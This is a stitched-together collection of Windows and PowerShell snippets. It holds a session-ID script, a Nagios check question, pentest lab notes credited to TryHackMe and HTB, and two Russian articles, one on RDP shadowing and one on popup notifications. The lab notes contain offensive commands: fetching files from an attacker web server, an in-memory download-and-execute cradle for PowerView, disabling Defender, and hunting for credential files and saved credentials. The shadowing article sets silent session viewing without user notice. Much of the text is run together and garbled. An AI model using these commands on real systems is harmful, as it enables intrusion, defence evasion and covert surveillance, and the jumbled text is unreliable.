Assuming that “current session” means the active console session.
In that case you can retrieve the session id by calling WTSGetActiveConsoleSessionId.
Retrieves the session identifier of the console session. The console session is the session that is currently attached to the physical console
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class WTS { [DllImport("Kernel32.dll")] public static extern uint WTSGetActiveConsoleSessionId(); [DllImport("Wtsapi32.dll")] public static extern bool WTSQuerySessionInformation( IntPtr hServer, uint SessionId, WTS_INFO_CLASS WTSInfoClass, out IntPtr ppBuffer, out uint pBytesReturned); [DllImport("Wtsapi32.dll")] public static extern void WTSFreeMemory(IntPtr pointer); public enum WTS_INFO_CLASS { WTSInitialProgram = 0, WTSApplicationName = 1, WTSWorkingDirectory = 2, WTSSessionId = 4, WTSUserName = 5, WTSWinStationName = 6, WTSDomainName = 7, WTSConnectState = 8, WTSClientBuildNumber = 9, WTSClientName = 10, WTSClientDirectory = 11, WTSClientProductId = 12, WTSClientHardwareId = 13, WTSClientAddress = 14, WTSClientDisplay = 15, WTSClientProtocolType = 16, WTSIdleTime = 17, WTSLogonTime = 18, WTSIncomingBytes = 19, WTSOutgoingBytes = 20, WTSIncomingFrames = 21, WTSOutgoingFrames = 22, WTSClientInfo = 23, WTSSessionInfo = 24, WTSSessionInfoEx = 25, WTSConfigInfo = 26, WTSValidationInfo = 27, WTSSessionAddressV4 = 28, WTSIsRemoteSession = 29 } public static string GetUsername(uint sessionId) { IntPtr buffer; uint bytesReturned; string userName = "Unknown"; if (WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLASS.WTSUserName, out buffer, out bytesReturned) && bytesReturned > 1) { userName = Marshal.PtrToStringAnsi(buffer); WTSFreeMemory(buffer); } return userName; }
}
"@ -Namespace "Win32" -UsingNamespace "System.Runtime.InteropServices"
# Get the active console session ID
$sessionId = [Win32.WTS]::WTSGetActiveConsoleSessionId()
if ($sessionId -eq 0xFFFFFFFF) { Write-Host "No active session."
} else { # Get the username associated with this session $username = [Win32.WTS]::GetUsername($sessionId) Write-Host "Username: $username"
}Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class WTS { [DllImport("Kernel32.dll")] public static extern uint WTSGetActiveConsoleSessionId(); [DllImport("Wtsapi32.dll")] public static extern bool WTSQuerySessionInformation( IntPtr hServer, uint SessionId, WTS_INFO_CLASS WTSInfoClass, out IntPtr ppBuffer, out uint pBytesReturned); [DllImport("Wtsapi32.dll")] public static extern void WTSFreeMemory(IntPtr pointer); public enum WTS_INFO_CLASS { WTSInitialProgram = 0, WTSApplicationName = 1, WTSWorkingDirectory = 2, WTSSessionId = 4, WTSUserName = 5, WTSWinStationName = 6, WTSDomainName = 7, WTSConnectState = 8, WTSClientBuildNumber = 9, WTSClientName = 10, WTSClientDirectory = 11, WTSClientProductId = 12, WTSClientHardwareId = 13, WTSClientAddress = 14, WTSClientDisplay = 15, WTSClientProtocolType = 16, WTSIdleTime = 17, WTSLogonTime = 18, WTSIncomingBytes = 19, WTSOutgoingBytes = 20, WTSIncomingFrames = 21, WTSOutgoingFrames = 22, WTSClientInfo = 23, WTSSessionInfo = 24, WTSSessionInfoEx = 25, WTSConfigInfo = 26, WTSValidationInfo = 27, WTSSessionAddressV4 = 28, WTSIsRemoteSession = 29 } public static string GetUsername(uint sessionId) { IntPtr buffer; uint bytesReturned; string userName = "Unknown"; if (WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLASS.WTSUserName, out buffer, out bytesReturned) && bytesReturned > 1) { userName = Marshal.PtrToStringAnsi(buffer); WTSFreeMemory(buffer); } return userName; }
}
"@
# define WTS_CURRENT_SESSION
[uint32]$WTS_CURRENT_SESSION = [uint32]::MaxValue
# get username for "current" session:
[WTS]::GetUsername($WTS_CURRENT_SESSION)
The script looks like this:
(qwinsta.exe) | findstr /v Disc | findstr /v Conn | findstr /v Listen | foreach { (($_.trim() -replace "\s+",","))} | ConvertFrom-Csv | findstr.exe USERNAME > C:\temp\users.txtAnd then the customization for the Nagios output:
(Get-Content C:\temp\users.txt) -replace 'USERNAME', '' -replace ':','' | Set-Content C:\temp\users.txt
$lines = Get-Content C:\Temp\users.txt
$var=($lines|group|?{$_.count -ge 1}|Select -ExpandProperty Name) -join ","I suspect the problem is in the way I wrote the Nagios output in Powershell:
if ($LoggedOnUsers -lt 1){<br> $NagiosStatus = "0"<br> Write-Host "No users are logged on"<br> }<br>
else <br> {<br> if (($Today -like "Saturday" -OR $Today -like "Sunday") -AND ($LoggedOnUsers -eq 1)) <br> {<br> $NagiosStatus = "2"<br> if ($LoggedOnUsers -eq 1) {<br> Write-Host "$LoggedOnUsers user logged on: $var"<br> }<br> else {<br> Write-Host "$LoggedOnUsers users logged on: $var"<br> }<br> }<br> else <br> {<br> if (($now -lt $max) -AND ($now -gt $min)) {<br> $NagiosStatus = "1"<br> if ($LoggedOnUsers -eq 1) {<br> Write-Host "$LoggedOnUsers user logged on: $var "<br> }<br> else {<br> Write-Host "$LoggedOnUsers users logged on: $var"<br> }<br> }<br> else {<br> $NagiosStatus = "2" <br> if ($LoggedOnUsers -eq 1) {<br> Write-Host "$LoggedOnUsers user logged on: $var"<br> }<br> else {<br> Write-Host "$LoggedOnUsers users logged on: $var"<br> }<br> }<br> }<br> }<br>
exit $NagiosStatus<br>Not sure how to write the output for Check_mk.
Any ideas welcome.
This is how the output looks in Nagios:
enter image description here
Cmdlet format:
Verb-Nounthe output of these cmdlets are objectsCommom verbs:
Get,Start,Stop,Read,Write,New,Out.Get-Commandto list all commandsGet-Command Verb-*orGet-Command *-Nounto filter the command
Get-Help Command-Namewill output help on a command.
An object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet
One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.
first – gets the first x object
last – gets the last x object
unique – shows the unique objects
skip – skips x objects
Operators:
ContainsIf any item in the property value is an exact match for the specified value/,EQIf the property value is the same as the specified value,GTIf the property value is greater than the specified valueFull list of operators here
Source: TryHackMe – Throwback
certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file(works also in cmd)
URLCache command completed successfully.wget http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need -OutFile name-you-want-to-give-the-file
iex (New-Object Net.WebClient).DownloadString('http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need')will load it in memory without writing it in the disk, we will the be able to run powerview command if we use it to load powerview for instance
Set-MpPreference -DisableRealtimeMonitoring $true
Enter-PSSession -ComputerName workstation-01
Get-MpComputerStatusCheck Windows Defender Statusgci (Get-ChildItem)list named pipesGet-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignoresearch for file extensionsView Sticky Notes data
PS C:\htb> cd .\PSSQLite\PS C:\htb> Import-Module .\PSSQLite.psd1
certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-filecurl.exe -o name-you-want-to-give-the-file http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need
Encode and Decode files
certutil -encode file1 encodedfilecertutil -decode encodedfile file2
OS Name: Microsoft Windows 7 Enterprise OS Version: 6.1.7600 N/A Build 7600System Type: X86-based PCIf we want to see patches and update
wmic qfewmic qfe get Caption,Description,HotFixID,InstalledOn
List the drives
wmic logicaldisklist drivesschtasksquery scheduled taskschtasks /query /fo LIST /v
driverquerywill list installed driverstasklist /svcget the list of running processessetdisplay all environment variableswmic product get namedisplay installed softwareicacls c:\Windows\System32\config\SAMcheck permissions on the SAM file
net localgroupnet localgroup groupnamewill give info on groupnet accountsGet Password Policy & Other Account Information
ipconfigoripconfig /allnetstat -anolist active connections-a: Displays all active connections and listening ports on the target system.-n: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.-o: Displays the process ID using each listed connection.Any port listed as “LISTENING” that was not discovered with the external port scan can present a potential local service. This is when we might need to use port forwarding to investigate the service.
Check what service runs on a specific port (in the example we will use 8080
C:\Program Files\Windows PowerShell\*cmdkey /listlist saved credentials
sc query windefendwill show if Defender is runningsc queryex type= servicewill list all running servicenetsh advfirewall firewall dumpcheck for firewallnetsh firewall show statesimilar older command
Execute dll files
Execute powershell file
Sometimes powershell won’t launch so we will have to use cmd. It is possible to execute a ps1 script using this trick
We take the necessary script in our attacking machine
python3 -m http.server 80we serve it to our target with an http server
powershell -file file.ps1
Pipelist is useful to enumerate instances of pipes
pipelist.exe /accepteulaenumerate instances of named pipes.
Accesschk is useful to enumerate permissions
accesschk.exe -wuvc Everyone *list service we can write and to which everyone has access
schtasks will let us enumerate scheduled tasks
schtasks /query /fo LIST /v
Security configuration review
# List all local groups# Check permissions on sensitive files or folders# Retrieve password policy settings# Check for password expiration settings# Check for password complexity requirements# Check for installed updates# List missing updates# List all firewall rules in a file# Check specific rule properties# Check antivirus status# Check last scan timeEvent logging review
# List security event logs# Check for specific event IDs related to security incidents# Check BitLocker status# Check BitLocker encryption methodRemote Access Review
# List RDP settings# Check RDP port configuration# List all services# Check service startup typeBackup and recovery
# Check backup status# Verify backup destinationВы можете использовать возможности теневых подключений (Remote Desktop Shadowing) для удалённого подключение к сессиям пользователей на компьютерах Windows. Это функционал является по сути аналогом Remote Assistance и позволяет администраторам удаленно просматривать и взаимодействовать с рабочим столом пользователей как на десктопных версиях (Windows 11 или 10), так и на RDS серверах Windows Server.
Настройка клиентов Windows для удаленного подключения через теневые сессии
Вам нужно определенным образом настроить компьютеры, к которым вы хотите подключаться через теневое подключение.
- Включите удаленный рабочий стол (RDP) на компьютерах пользователей (вручную или через GPO);

- Ваша учетная запись должна обладать правами локального администратора на компьютере пользователей (вы можете добавить пользователя в группу администраторов вручную или с помощью групповых политик);
- Настройте режим теневого подключения (нужно ли запрашивать подтверждение пользователя, и возможно управления в сессии или только наблюдение). Можно настроить режим через групповую политику “Установить правила удаленного управления для пользовательских сеансов служб удаленных рабочих столов” (Set rules for remote control of Remote Desktop Services user sessions) в разделе Конфигурация компьютера -> Административные шаблоны –> Компоненты Windows –> Службы удаленных рабочих столов –> Узел сеансов удаленных рабочих столов –> Подключения (Policies -> Administrative Templates -> Windows components -> Remote Desktop Services -> Remote Session Host -> Connections).

Доступны 5 режимов:0 – запретить удаленное управление;
1 — полный контроль с разрешения пользователя;
2 — полный контроль без разрешения пользователя;
3 — наблюдение за сеансом с разрешения пользователя;
4 — наблюдение за сеансом без разрешения пользователя. - Вы можете включить нужный режим напрямую в реестре. Отредактируйте реестр вручную или с помощью команды (в этом примере мы установили 4 режим – разрешить просмотр сеанса пользователя без уведомления):
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4По умолчанию данный теневое подключение выполняется в режиме полного контроля с разрешения пользователя.
- Настройте правила Windows Defender Firewall, разрешающие трафик теневых подключений по сети. Для трафика session shadowing в Windows вместо стандартного порта 3389/RDP используются порты 139/TCP, 445/TCP и диапазон динамических RPC портов (49152 по 65535). Чтобы разрешить входящий трафик теневых подключений, нужно включить два преднастроненных правила в Windows:
File and Printer Sharing (SMB-In)
и
Remote Desktop - Shadow (TCP-In)
. Последнее правило разрешает удаленный доступ к процессу
RdpSa.exe
. Вы можете включить правила Windows Defender на компьютерах пользователей через GPO или с помощью PowerShell командлета Enable-NetFirewallRule.
Удаленное подключение к сессии пользователя Windows через RDP Shadowing
Рассмотрим, как удаленно подключиться рабочему столу сессии другого пользователя на удаленном компьютере Windows через теневые подключения RDP. В этом примере я покажу, как подключиться с компьютера Windows 11 к сессии пользователя на рабочей станции пользователя с Windows 10.
Для теневого подключения к сессии пользователя используется стандартная RDP утилита mstsc.exe. Формат команды такой:
Mstsc.exe /shadow:<ID сессии> /v:<Имя или IP адрес компьютера>
Также можно использовать одну из опций:
- /prompt – запросить имя и пароль пользователя, под которым выполняется подключение (если не указано, подключение выполняется под текущим пользователем).
- /control – режим взаимодействия с сеансом пользователя. Если параметр не задан, вы подключитесь в режиме просмотра (наблюдения) сессии пользователя, т.е. вы не сможете управлять его мышью и вводить данные с клавиатуры;
- /noConsentPrompt – не запрашивать у пользователя подтверждение на подключение к сессии.
Теперь нужно узнать имя пользователя и ID его сессии на удаленном компьютере (если пользователь работает непосредственно за консолью компьютера, то ID его сессии всегда будет равно 1).
Выведем список сессий пользователей на удаленном компьютере (это может быть как десктопный компьютер с Windows 11/10 или Windows Server с ролью Remote Desktop Services Host (RDSH).

Чтобы подключиться к рабочему столу этого пользователя через теневое подключение, выполните команду:
mstsc.exe /shadow:1 /v:wks-w10b01

На экране пользователя Windows появится запрос подтверждения подключения администратора к его сеансу: Запрос на удаленное подключение Username запрашивает удаленный просмотр вашего сеанса. Вы принимаете этот запрос.

Если служба TermService на удаленном компьютере отключена, то при попытке удалённого подключения через RDP shadow появится ошибка:
The version of Windows running on this server does not support user shadowing


В данном случае вы подключились непосредственно подключиться к консольной сессии пользователя без блокировки его сеанса. При удаленном подключении к Windows 10 через обычный RDP, то сессия локального отключается (даже если вы включите возможность использования нескольких одновременных RDP сессий в Windows 10).
Если сессия пользователя заблокирована, или появляется запрос повышения привилегий UAC, то без исопльзования режима
mstsc /control
окно с теневой сессией становится черным и на нем появляется символ паузы.
Теневая сессия переходит в приостановленное состояние, если у пользователя появляется запрос UAC на Secure desktop. После того, как пользователь подтвердит действие UAC, ваша сессия возобновится.

Чтобы развернуть окно теневой сессии во весь экран, воспользуйтесь комбинацией клавиш Ctrl + Alt + Break.
Для завершения теневой сессии нажмите на компьютере
alt+*
(или
ctrl+*
на RDS сервере).
}
В данном примере мы оповещаем пользователя звуковым оповещением, но вы можете вывести всплывающее уведомление на рабочий стол. Можно запустить этот PowerShell скрипт как службу Windows.
Вы можете получить историю теневых подключений к компьютеру пользователя из журнала событий Windows. Все интересующие вас логи находятся в разделе Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational:Event Viewer
- Event ID 20508 — Shadow View Permission Granted
- Event ID 20503 — Shadow View Session Started
- Event ID 20504 — Shadow View Session Stopped
Вы можете получить логи теневых подключений к компьютеру с помощью PowerShell:

Функционал теневого подключения Remote Desktop Shadowing работает в Windows 11/10/ 8.1 и Windows Server 2022/2019/2016/2012 R2. Таким образом Remote Desktop Shadowing можно использовать как аналог Remote Assistance (Удаленный помощник) или TeamViewer/Anydesk для локальной или корпоративной сети.
Для оповещения пользователей о различных событиях, вы можете выводить различные графические уведомления из скриптов PowerShell. В PowerShell можно использовать всплывающие уведомления в трее Windows или модальные окно для получения информации от пользователя или подтверждения действия.
Вывести всплывающее сообщение на экран с помощью PowerShell
Для вывода простых модального диалогового окна в Windows можно воспользоваться Wscript классами подсистемы сценариев Windows. Следующий PowerShell код выведет обычное текстовое окно с вашим текстом и кнопкой OK.
$wshell = New-Object -ComObject Wscript.Shell
$Output = $wshell.Popup("Скрипт формирования отчета выполнен")

Вы можете настроить вид модального окна такого сообщения и добавить кнопки действия для пользователей. Например, чтобы вывести всплывающее окно с кнопками Да и Нет, выполните:

$Output = $wshell.Popup("Скрипт формирования отчета завершен! Хотите вывести его на экран?",0,"Отчет готов",4+32)
Если пользователь нажмет Да, команда вернет значение
6
, а если Нет –
7
.
В зависимости от выбора пользователя вы можете выполнить какое-то действие, или завершить скрипт.
switch ($Output) { 7 {$wshell.Popup('Нажата Нет')} 6 {$wshell.Popup('Нажата Да')}
default {$wshell.Popup('Неверный ввод')} } Общий синтаксис и параметры метода Popup:
- <Text> — текст сообщения.
- <SecondsToWait> — необязательный, число. Количество секунд, по истечении которого окно будет автоматически закрыто.
- <Title> — текст заголовка окна сообщения (необязательный параметр).
- <Type> — комбинация флагов, определяет тип кнопок и вид значка (числовое значение, не обязательный параметр). Возможные значения флагов:
- 0 — кнопка ОК.
- 1 — кнопки ОК и Отмена.
- 2 — кнопки Стоп, Повтор, Пропустить.
- 3 — кнопки Да, Нет, Отмена.
- 4 — кнопки Да и Нет.
- 5 — кнопки Повтор и Отмена.
- 16 — значок Stop.
- 32 — значок Question.
- 48 — значок Exclamation.
- 64 — значок Information.
Команда PowerShell возвращает целое значение, с помощью которого можно узнать, какая кнопка была нажата пользователем. Возможные значения:
- -1 — таймаут.
- 1 — кнопка ОК.
- 2 — кнопка Отмена.
- 3 — кнопка Стоп.
- 4 — кнопка Повтор.
- 5 — кнопка Пропустить.
- 6 — кнопка Да.
- 7 — кнопка Нет.
Если нужно показать пользователю окно ввода и запросить данные, воспользуйтесь классом Windows Forms.
Чтобы обработать введенные пользователе данные:
if ([string]::IsNullOrWhiteSpace($input)) { Write-Host "Данные не указаны"
} else { Write-Host "Вы ввели $input"
}
Если нужно вывести всплывающее окно поверх всех окон, используйте команду:
Вывести уведомление пользователю Windows из скрипта PowerShell
С помощью класса Windows Forms можно вывести более красивые всплывающие сообщения (ballons). Следующий скрипт выведет всплывающее сообщение рядом с панелью уведомлений Windows, которое автоматически исчезнет через 10 секунд:

Для создания красочных всплывающих сообщений в Windows можно использовать отдельный PowerShell модуль BurntToast.
Установите модуля из PowerShell Gallery:
Install-Module -Name BurntToast
Теперь, например, в ранее рассматриваемый скрипт автоматического отключения от Wi-FI сети при подключении к Ethernet можно добавить уведомление с картинкой:
New-BurntToastNotification -Text "Отключение от Wi-Fi сети", "Вы были отключены от Wi-Fi сети, т.к. Вше устройство было подключено к скоростному Ethernet подключению." -AppLogo C:\PS\changenetwork.png

Отправка сообщения пользователю на удаленный компьютер
С помощью PowerShell вы можете отправить всплывающее сообщение пользователю на удаленный компьютер. Сначала нужно получить список сессии пользователей на удаленном компьютере (в случае RDS сервера):

Чтобы отправить сообщение в сессию пользователя на удаленном компьютер, выполните команду:
MSG kbuldogov /server:rds1 "Сервер будет перезагружен через 10 минут. Закройте документы"
Если всплывающее сообщение нужно отправить всем пользователям укажите * вместо имени пользователя:
MSG * /server:rds1 "Срочное сообщение всем! "

Для отправки всплывающего графического уведомления на удаленный компьютер можно воспользоваться скриптом RemoteSendToasNotification.ps1 из нашего GitHub репозитория ( https://github.com/winadm/posh/blob/master/scripts/RemoteSendToasNotification.ps1). Для подключения к удаленному компьютеру используется командлет Invoke-Command, который использует WinRM.



